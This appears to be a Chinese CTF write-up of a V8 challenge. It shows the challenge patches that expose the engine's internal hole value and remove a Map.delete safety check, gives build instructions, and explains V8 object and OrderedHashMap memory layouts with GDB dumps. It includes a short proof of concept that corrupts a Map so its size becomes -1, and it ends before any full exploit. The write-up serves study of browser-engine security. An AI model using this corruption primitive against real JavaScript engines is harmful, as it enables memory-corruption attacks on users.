0%

hole 复现

1
2
3
4
5
There's a hole in the program ?

Well I'm sure it's not that of a big deal, after all it's just a small hole that won't do any damage right ?

... Right 😨 ?
  • 提示信息如下:
1
2
3
4
5
6
7
8
9
➜  hole cat README.txt   
* Based on git commit hash: 63cb7fb817e60e5633fb622baf18c59da7a0a682
* args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

* It is recommended that you solve this challenge on a Debian Linux 11.5.0 machine.%
  • 两个 patch 文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 6e0cd408e7..aafdfb8544 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}

+BUILTIN(ArrayHole){
+ uint32_t len = args.length();
+ if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
+ return ReadOnlyRoots(isolate).the_hole_value();
+}
+
namespace {

V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index 78b0229011..55aaaa03df 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
"Map.prototype.delete");

// This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0e98586f7f..28a46f2856 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -413,6 +413,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel) \
+ CPP(ArrayHole) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 79bdfbddcf..c42ad4c789 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtin::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtin::kArrayHole:
+ return Type::Oddball();

// ArrayBuffer functions.
case Builtin::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 9040e95202..a77333287a 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtin::kArrayPrototypeFindIndex, 1, false);
SimpleInstallFunction(isolate_, proto, "lastIndexOf",
Builtin::kArrayPrototypeLastIndexOf, 1, false);
+ SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
0, false);
SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
  • 注册了目标方法,并且给出了一个网页 crbug.com/1263462
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
index c2571ef3a01..e4f27cfdca6 100644
--- a/src/d8/d8-posix.cc
+++ b/src/d8/d8-posix.cc
@@ -734,6 +734,7 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
}

void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
+/*
if (options.enable_os_system) {
os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
}
@@ -748,6 +749,7 @@ void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
FunctionTemplate::New(isolate, MakeDirectory));
os_templ->Set(isolate, "rmdir",
FunctionTemplate::New(isolate, RemoveDirectory));
+*/
}

} // namespace v8
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index c6bacaa732f..63b3c9c27e8 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3266,6 +3266,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+ /*
global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
@@ -3284,6 +3285,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
FunctionTemplate::New(isolate, ExecuteFile));
+ */
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
@@ -3456,6 +3458,7 @@ Local<FunctionTemplate> Shell::CreateSnapshotTemplate(Isolate* isolate) {
}
Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) {
Local<ObjectTemplate> d8_template = ObjectTemplate::New(isolate);
+ /*
{
Local<ObjectTemplate> file_template = ObjectTemplate::New(isolate);
file_template->Set(isolate, "read",
@@ -3538,6 +3541,7 @@ Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) {
Local<Signature>(), 1));
d8_template->Set(isolate, "serializer", serializer_template);
}
+ */
return d8_template;
}
  • 注释了部分源码(system 没了)

环境搭建

1
2
3
4
5
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 63cb7fb817e60e5633fb622baf18c59da7a0a682
git apply add_hole.patch

在 v8 引擎的6.5版本以上,google 采用了 GN+Ninja 的编译组合,因此需要以下工具来安装依赖:

安装 depot_tools 工具集:

1
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
  • 然后将 depot_tools 加入你的 PATH 环境变量中(其实也可以不添加)
1
2
3
sudo gedit /etc/profile.d/yhellow.sh
---------------------------------------
export PATH="$PATH:/home/yhellow/tools/depot_tools"
  • 取得 depot_tools 之后,需要取得大量编译依赖,google 提供了一个比较方便的工具 gclient 来获取依赖
  • 然后在 V8 的目录中执行以下代码安装依赖:(注意:V8 的路径不能有中文)
1
2
3
4
export PATH="$PATH:/home/yhellow/tools/depot_tools"
gclient config https://webrtc.googlesource.com/src.git # 最好加上这个,不然会很慢
export DEPOT_TOOLS_UPDATE=0
gclient sync

初始化以及编译:

  • v8 使用 Ninja 作为编译工具,同时使用 GN 来生成 .ninja 文件
  • 使用 v8gen 可以生成不同平台的编译配置文件:
1
./tools/dev/v8gen.py x64.release

out.gn/x64.release/args.gn 中添加如下命令:(增添调试信息)

1
2
symbol_level = 2
v8_enable_object_print = true

使用 ninja 开始编译:

1
ninja -C ./out.gn/x64.release d8

可以用 find 命令来查找可执行文件的位置:

1
➜  v8 git:(63cb7fb817) ✗ find ./ -name d8 -type f

另外,V8还给 GDB 提供了一些工具,可以把以下这行命令添加到 GDB 的 .gdbinit 中:

1
source /home/yhellow/tools/v8/v8/tools/gdbinit

参考:如何用GN编译V8引擎

patch 分析

第2个 patch 就是注释了源码的一些功能(暂时不用管)

第1个 patch 应该就是漏洞利用的关键了:

1
2
case Builtin::kArrayHole:
return Type::Oddball();
  • 这里规定 Builtin::kArrayHole 返回一个 Oddball 引用类型
  • oddball 是数据类型的引用,表示在 V8 中怎么调用相关类型(null undefined true false 合称为 oddball
1
SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
  • SimpleInstallFunction 每执行一次就安装一个 API 到 isolate_
  • 这里相当于把符号 “hole” 和函数 Builtin::kArrayHole 绑定到一起了
1
// CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
  • 在 patch 中注释了一个 CSA_CHECK
  • CodeStubAssembler,V8 的一个组件,该组件定义了一种在 TurboFan 后端构建的可移植汇编语言
1
2
3
4
5
BUILTIN(ArrayHole){
uint32_t len = args.length();
if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
return ReadOnlyRoots(isolate).the_hole_value();
}
  • Array 定义了一个 Hole 方法,获取 Hole 方法的参数
    • 当参数个数大于“1”时,返回 undefined_value 未知类型
    • 当参数个数不大于“1”时,返回 Type::Oddball() 引用类型
  • Built-in Functions(Builtin)作为V8的内建功能,实现了很多重要功能
  • Builtin 是编译好的内置代码块(chunk),存储在 snapshot_blob.bin 文件中,V8 启动时以反序列化方式加载,运行时可以直接调用

简单来说,Hole 方法就是返回一个 Oddball 引用:

1
2
3
4
var c = [];

console.log(typeof(c))
console.log(typeof(c.hole()))
1
2
3
➜  hole ./d8 ./exp.js
object
undefined

先学习这篇文章,了解 V8 的相关知识和常用利用手段:

标记指针 Tagged Pointer

Tagged Pointer 是一个指针(内存地址),它具有与其关联的附加数据:

  • 大多数体系结构都是字节可寻址的(最小的可寻址单元是字节),但是某些类型的数据通常会与数据的大小对齐,这种差异使指针的一些最低有效位未被使用,它们可以用于标签-通常用作位字段(每个位是一个单独的标签),只要使用该指针的代码在访问前将这些位屏蔽掉即可
  • 相反,在某些操作系统中,虚拟地址的宽度比整个体系结构的宽度窄,从而使最高有效位可用于标签(注意,某些处理器特别禁止在处理器级别使用此类标记指针,尤其是 x86-64,这要求操作系统使用规范形式的地址,且最高有效位全为0或全为1)

JS 对象内存信息布局

可以直接使用 GDB 来查看内存布局:

1
2
3
4
5
6
7
8
9
pwndbg> set args --allow-natives-syntax --shell ./exp.js 
pwndbg> run
Starting program: /home/yhellow/tools/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f16e408e700 (LWP 6736)]
[New Thread 0x7f16e388d700 (LWP 6737)]
[New Thread 0x7f16e308c700 (LWP 6738)]
V8 version 11.0.0 (candidate)
  • 测试用 JavaScript 代码如下:
1
2
3
4
5
6
7
8
9
10
function Foo(properties, elements) {
for (let i = 0; i < elements; i++) {this[i] = `element${i}`}
for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}
}

const foo = new Foo(12, 12)

for (const key in foo) {
console.log(`key:${key}, value:${foo[key]}`)
}
  • 尝试在 GDB 中打印信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
d8> function Foo(properties, elements) {for (let i = 0; i < elements; i++) {this[i] = `element${i}`}for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}}
undefined
d8> const foo = new Foo(12, 12)
undefined
d8> %DebugPrint(foo);
DebugPrint: 0x1dfe0004d74d: [JS_OBJECT_TYPE]
- map: 0x1dfe0019b715 <Map[52](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5>
- elements: 0x1dfe0004d795 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x1dfe0004de81 <PropertyArray[3]>
- All own properties (excluding elements): {
0x1dfe0019b30d: [String] in OldSpace: #property0: 0x1dfe0004d8dd <String[9]: "property0"> (const data field 0), location: in-object
0x1dfe0019b371: [String] in OldSpace: #property1: 0x1dfe0004d945 <String[9]: "property1"> (const data field 1), location: in-object
0x1dfe0019b3b1: [String] in OldSpace: #property2: 0x1dfe0004d99d <String[9]: "property2"> (const data field 2), location: in-object
0x1dfe0019b3f1: [String] in OldSpace: #property3: 0x1dfe0004da01 <String[9]: "property3"> (const data field 3), location: in-object
0x1dfe0019b431: [String] in OldSpace: #property4: 0x1dfe0004da71 <String[9]: "property4"> (const data field 4), location: in-object
0x1dfe0019b471: [String] in OldSpace: #property5: 0x1dfe0004daed <String[9]: "property5"> (const data field 5), location: in-object
0x1dfe0019b4b1: [String] in OldSpace: #property6: 0x1dfe0004db75 <String[9]: "property6"> (const data field 6), location: in-object
0x1dfe0019b5cd: [String] in OldSpace: #property7: 0x1dfe0004dc09 <String[9]: "property7"> (const data field 7), location: in-object
0x1dfe0019b63d: [String] in OldSpace: #property8: 0x1dfe0004dce1 <String[9]: "property8"> (const data field 8), location: in-object
0x1dfe0019b67d: [String] in OldSpace: #property9: 0x1dfe0004dd99 <String[9]: "property9"> (const data field 9), location: in-object
0x1dfe0019b6bd: [String] in OldSpace: #property10: 0x1dfe0004ddc9 <String[10]: "property10"> (const data field 10), location: properties[0]
0x1dfe0019b6fd: [String] in OldSpace: #property11: 0x1dfe0004dead <String[10]: "property11"> (const data field 11), location: properties[1]
}
- elements: 0x1dfe0004d795 <FixedArray[17]> {
0: 0x1dfe0004d781 <String[8]: "element0">
1: 0x1dfe0004d7e1 <String[8]: "element1">
2: 0x1dfe0004d7f5 <String[8]: "element2">
3: 0x1dfe0004d809 <String[8]: "element3">
4: 0x1dfe0004d81d <String[8]: "element4">
5: 0x1dfe0004d831 <String[8]: "element5">
6: 0x1dfe0004d845 <String[8]: "element6">
7: 0x1dfe0004d859 <String[8]: "element7">
8: 0x1dfe0004d86d <String[8]: "element8">
9: 0x1dfe0004d881 <String[8]: "element9">
10: 0x1dfe0004d895 <String[9]: "element10">
11: 0x1dfe0004d8ad <String[9]: "element11">
12-16: 0x1dfe00002459 <the_hole>
}
0x1dfe0019b715: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 52
- inobject properties: 10
- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: invalid
- stable_map
- back pointer: 0x1dfe0019b6d5 <Map[52](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x1dfe0019b635 <Cell value= 0>
- instance descriptors (own) #12: 0x1dfe0004dde1 <DescriptorArray[12]>
- prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5>
- constructor: 0x1dfe0019a005 <JSFunction Foo (sfi = 0x1dfe00199f45)>
- dependent code: 0x1dfe000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 6

{0: "element0", 1: "element1", 2: "element2", 3: "element3", 4: "element4", 5: "element5", 6: "element6", 7: "element7", 8: "element8", 9: "element9", 10: "element10", 11: "element11", property0: "property0", property1: "property1", property2: "property2", property3: "property3", property4: "property4", property5: "property5", property6: "property6", property7: "property7", property8: "property8", property9: "property9", property10: "property10", property11: "property11"}
  • 先打印对象 JS_OBJECT_TYPE 的信息:
1
2
pwndbg> x/4xw 0x1dfe0004d74d-1 /* JS_OBJECT_TYPE */
0x1dfe0004d74c: 0x0019b715 0x0004de81 0x0004d795 0x0004d8dd
  • 前3个数据分别为 map properties elements 的地址低4字节
  • 注意:
    • V8 使用了标记指针,因此在打印前需要先把指针还原
    • V8 使用了指针压缩的技术,仅在内存中存储指针的下部32位,并将基本高32位存储在特定寄存器中

指针 propertieselements 与 V8 的两种属性有关:

1
2
3
4
function Foo(properties, elements) {
for (let i = 0; i < elements; i++) {this[i] = `element${i}`}
for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}
}
  • 第一个 for 循环定义了 elements 个数组索引属性(Array-indexed Properties)
  • 第二个 for 循环定义了 properties 个命名属性(Named Properties)

V8 遍历时一般会先遍历前者,前后两者在底层存储在两个单独的数据结构中,分别用 elementsproperties 两个指针指向它们

1669786173114

  • PS:V8 有一种策略,如果命名属性少于等于10个时,命名属性会直接存储到对象本身,而无需先通过 properties 指针查询(直接存储到对象本身的属性被称为对象内属性 In-object Properties)
1
2
3
pwndbg> x/8xw 0x1dfe0004d795-1 /* elements */
0x1dfe0004d794: 0x00002231 0x00000022 0x0004d781 0x0004d7e1
0x1dfe0004d7a4: 0x0004d7f5 0x0004d809 0x0004d81d 0x0004d831
  • 从第3个指针开始,就是:[element0element11]
1
2
3
pwndbg> x/8xw 0x1dfe0004de81-1 /* properties */
0x1dfe0004de80: 0x00002d19 0x00000006 0x0004ddc9 0x0004dead
0x1dfe0004de90: 0x000023e1 0x00002715 0xd12b3982 0x0000000a
  • 从第3个指针开始,就是:[property10property11](前10个都是对象内属性)

对象的映射 map 是一种特殊的属性,其中包含以下信息:

  • 对象的动态类型,即 String Uint8Array HeapNumber ...
  • 对象的大小(以字节为单位)
  • 对象的属性及其存储位置
  • 数组元素的类型,例如未装箱的双精度或标记的指针
  • 对象的原型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x1dfe0019b715: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 52
- inobject properties: 10
- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: invalid
- stable_map
- back pointer: 0x1dfe0019b6d5 <Map[52](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x1dfe0019b635 <Cell value= 0>
- instance descriptors (own) #12: 0x1dfe0004dde1 <DescriptorArray[12]>
- prototype: 0x1dfe0004d6c9 <Object map = 0x1dfe0019b5e5>
- constructor: 0x1dfe0019a005 <JSFunction Foo (sfi = 0x1dfe00199f45)>
- dependent code: 0x1dfe000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 6
  • Map 将提供属性值在相应区域中的确切位置

本质上,映射定义了应如何访问对象:

  • 对于对象数组:存储的是每个对象的地址
  • 对于浮点数组:以浮点数形式存储数值

如果我们可以修改 Map 中某些变量的数据类型,就可以达到类型混淆的效果

JavaScript Map 对象原理

先随便打印一个 Map 的内存信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(m)
DebugPrint: 0x21100004b9d1: [JSMap]
- map: 0x2110001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x211000186431 <Object map = 0x211000186319>
- elements: 0x211000002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x21100004b9e1 <OrderedHashMap[17]>
- properties: 0x211000002259 <FixedArray[0]>
- All own properties (excluding elements): {}
0x2110001862f1: [Map] in OldSpace
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2110000023e1 <undefined>
- prototype_validity cell: 0x2110001443cd <Cell value= 1>
- instance descriptors (own) #0: 0x2110000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x211000186431 <Object map = 0x211000186319>
- constructor: 0x2110001862bd <JSFunction Map (sfi = 0x2110001557b9)>
- dependent code: 0x2110000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]
  • 和对象 JS_OBJECT_TYPE 相比,JSMap 多了一个 table 属性,这个属性是一个 OrderedHashMap 顺序哈希表

Map 是基于哈希表实现的,但哈希表不提供任何迭代顺序保证,而 ES6 规范要求实现在迭代 Map 时保持插入顺序,因此,“经典”算法不适合 Map

V8 使用了确定性哈希表算法(顺序哈希表),以下显示了此算法使用的主要数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
interface Entry { /* buckets */
key: any;
value: any;
chain: number;
}

interface CloseTable { /* table */
hashTable: number[];
dataTable: Entry[];
nextSlot: number;
size: number;
}
  • CloseTable 接口代表了哈希表,包含:
    • hashTable:哈希表数组(大小等于“存储桶”的数量)
    • dataTable:包含按插入顺序排列的条目
  • Entry 接口代表“存储桶”
    • key/value:键值对
    • chain:链属性(指向存储 Entry 的下一个条目)
    • nextSlot:用于索引到 dataTable 中

具体的操作如下:

  • 每次将新条目插入表中时,它都会存储在 nextSlot 索引下的 dataTable 数组中(插入的条目将成为新的尾部)
  • 当一个条目从哈希表 hashTable 中删除时,它也会从数据表 dataTable 中删除,但已删除的条目仍会占用数据表中的空间(用 hole 进行填充)
  • 当一个表充满了条目(包括存在的和已删除的)时,需要用更大(或更小)的大小重新散列(重建)

使用这种方法,对 Map 进行迭代只需遍历数据表即可,这保证了迭代的插入顺序要求

测试案例:

1
2
3
4
map = new Map();
map.set(1, 'a');
map.set(2, 'b');
map.delete(1);
  • 先执行两个 set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
map.set(1, 'a');
map.set(2, 'b');
---------------------------------------
pwndbg> job 0x1d830004b9d9
0x1d830004b9d9: [OrderedHashMap]
- FixedArray length: 17
- elements: 2 /* 元素个数 */
- deleted: 0 /* 删除个数 */
- buckets: 2 /* 已使用的存储桶个数 */
- capacity: 4 /* map容量(capacity/2就是当前可以容纳的最大bucket数目) */
- buckets: { /* 存储桶 */
0: 0
1: 1
}
- elements: { /* 元素 */
0: 1 -> 0x1d830000407d <String[1]: #a>
1: 2 -> 0x1d830000408d <String[1]: #b>
}
  • 然后执行一个 delete
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
map.delete(1);
---------------------------------------
pwndbg> job 0x1d830004b9d9
0x1d830004b9d9: [OrderedHashMap]
- FixedArray length: 17
- elements: 1
- deleted: 1
- buckets: 2
- capacity: 4
- buckets: { /* 存储桶不减少 */
0: 0
1: 1
}
- elements: { /* 元素减少 */
1: 2 -> 0x1d830000408d <String[1]: #b>
}
  • 对象 JSMap 的详细信息如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(map);  
DebugPrint: 0x1d830004b9c9: [JSMap]
- map: 0x1d83001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1d8300186431 <Object map = 0x1d8300186319>
- elements: 0x1d8300002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x1d830004b9d9 <OrderedHashMap[17]>
- properties: 0x1d8300002259 <FixedArray[0]>
- All own properties (excluding elements): {}
0x1d83001862f1: [Map] in OldSpace
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1d83000023e1 <undefined>
- prototype_validity cell: 0x1d83001443cd <Cell value= 1>
- instance descriptors (own) #0: 0x1d83000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x1d8300186431 <Object map = 0x1d8300186319>
- constructor: 0x1d83001862bd <JSFunction Map (sfi = 0x1d83001557b9)>
- dependent code: 0x1d83000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]
  • 打印 table 属性:
1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xw 0x1d830004b9d9-1
0x1d830004b9d8: 0x00002c29 0x00000022 0x00000002 0x00000002
0x1d830004b9e8: 0x00000004 0x00000000 0x00000002 0x00002459
0x1d830004b9f8: 0x00002459 0xfffffffe 0x00000004 0x0000408d
0x1d830004ba08: 0xfffffffe 0x000023e1 0x000023e1 0x000023e1
0x1d830004ba18: 0x000023e1 0x000023e1 0x000023e1 0x000025d5
pwndbg> job 0x00002459+0x1d8300000000
0x1d8300002459: [Oddball] in ReadOnlySpace: #hole
pwndbg> job 0x000023e1+0x1d8300000000
0x1d83000023e1: [Oddball] in ReadOnlySpace: #undefined
  • 整数在 V8 中表示为前31位,最后一位不使用(这就是“0x1”表示为“0x2”,“0xfffffffe”表示“-1”的原因)
  • hole 在本程序中用 0x00002459 表示
  • undefined 在本程序中用 0x000023e1 表示

记录 OrderedHashMap 的一些重要元数据的粗略布局:

1
2
3
4
5
6
7
8
9
table + 0x10 => Map capacity (0x4) 
table + 0x14 => Bucket-0 data /* 0 */
table + 0x18 => Bucket-1 data /* 1 */
table + 0x1c => Entry-0 key (0x00002459) /* #hole */
table + 0x20 => Entry-0 value (0x00002459) /* #hole */
table + 0x24 => Entry-0 next_ptr
table + 0x28 => Entry-1 key (0x00000004) /* 2 */
table + 0x2c => Entry-1 value (0x0000408d) /* #b */
table + 0x30 => Entry-1 next_ptr
  • 先预留 0x4 * capacity/2 的空间用于填充 Bucket data(存储桶数据)
  • 之后的空间会以 0x4 * 3 为单位来储存各个 Entry 信息
  • delete 方法删除的区域需要用 hole 填充
  • 而之后的空间则被 undefined 填充

JavaScript SandBox & JIT

对于 JavaScript 来说,沙箱并非传统意义上的沙箱,它只是一种语法上的 Hack 写法,沙箱是一种安全机制,把一些不信任的代码运行在沙箱之内,使其不能访问沙箱之外的代码

当需要解析或者执行不可信的 JavaScript 代码时,需要隔离被执行代码的执行环境,并对执行代码中可访问对象进行限制,通常开始可以把 JavaScript 中处理模块依赖关系的闭包称之为沙箱

我们大致可以把沙箱的实现总体分为两个部分:

  • 构建一个闭包环境
  • 模拟原生浏览器对象

一个重要的保护是,它将所有外部指针转换为查找表的索引,例如指向 Web 程序集 RWX 页的指针和 ArrayBuffer 后备存储的指针,因此,我们不能使用普通方法来实现任意读写

而 JavaScript JIT(Just-In-Time)则是另一种机制:

JIT compiler 混合了编译器和解释器的优点,大幅提高了 JavaScript 的运行速度:

  • 一开始只是简单的使用解释器执行,当某一行代码被执行了几次,这行代码会被打上 Warm 的标签,当某一行代码被执行了很多次,这行代码会被打上 Hot 的标签
  • 被打上 Warm 标签的代码会被传给 Baseline Compiler 编译且储存,同时按照行数和变量类型被索引
  • 被打上 Hot 标签的代码会被传给 Optimizing compiler,这里会对这部分带码做更优化的编译
  • 当发现执行的代码命中索引,会直接取出编译后的代码执行,从而不需要重复编译已经编译过的代码

利用 JIT 机制就可以绕过 SandBox

学习相关 POC

在 path 中给出了一篇文章 crbug.com/1263462 先学习它

这篇文章大概讲述了 V8 对 TheHole 的特殊处理(具体怎么处理的暂时不清楚),利用这个特性,可以对 Map 进行破坏

POC 如下:

1
2
3
4
5
6
7
8
var map = new Map();
/* 由于对孔值的特殊处理,这最终将 Map 的大小设置为"-1" */
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
/* print(map.size); Size is now -1 */

先查看这个 hole 和题目中的 hole 方法有什么关系:

1
2
3
4
void Isolate::clear_pending_exception() {
DCHECK(!thread_local_top()->pending_exception_.IsException(this));
thread_local_top()->pending_exception_ = ReadOnlyRoots(this).the_hole_value();
}
  • the_hole_value 在本题的 path 中也出现过
1
2
%DebugPrint(hole); 
DebugPrint: 0x37c70800242d: [Oddball] in ReadOnlySpace: #hole
  • 使用 DebugPrint 可以发现 hole 是 Oddball 引用类型

具体的细节暂时不用管,我们只需要知道这个 POC 可以破坏 Map 就行了

入侵思路

先依葫芦画瓢把 POC 中的利用复刻一份:

1
2
3
4
5
6
7
8
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
print(map.size);
1
2
➜  x64.release git:(63cb7fb817) ✗ ./d8 ./exp.js
-1
  • 成功将 Map 进行了破坏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(m);
DebugPrint: 0x14080004ba05: [JSMap]
- map: 0x1408001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x140800186431 <Object map = 0x140800186319>
- elements: 0x140800002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x14080004baad <OrderedHashMap[17]>
- properties: 0x140800002259 <FixedArray[0]>
- All own properties (excluding elements): {}
0x1408001862f1: [Map] in OldSpace
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1408000023e1 <undefined>
- prototype_validity cell: 0x1408001443cd <Cell value= 1>
- instance descriptors (own) #0: 0x1408000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x140800186431 <Object map = 0x140800186319>
- constructor: 0x1408001862bd <JSFunction Map (sfi = 0x1408001557b9)>
- dependent code: 0x1408000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]
  • 打印对应的 table:(此时 Map 已经被破坏,在 Map.size == -1 的情况下,不能使用 job 命令)
1
2
3
4
5
6
pwndbg> x/20xw 0x14080004baad-1
0x14080004baac: 0x00002c29 0x00000022 0xfffffffe 0x00000000
0x14080004babc: 0x00000004 0xfffffffe 0xfffffffe 0x000023e1
0x14080004bacc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004badc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004baec: 0x000023e1 0x000023e1 0x000023e1 0x000025d5
  • 先执行一次 m.set(0x8,-1) 后再次打印 table:(现在可以使用 job 命令)
1
2
3
4
5
6
pwndbg> x/20xw 0x14080004baad-1
0x14080004baac: 0x00002c29 0x00000022 0x00000000 0x00000000
0x14080004babc: 0x00000010 0xfffffffe 0xfffffffe 0x000023e1
0x14080004bacc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004badc: 0x000023e1 0x000023e1 0x000023e1 0x000023e1
0x14080004baec: 0x000023e1 0x000023e1 0x000023e1 0x000025d5
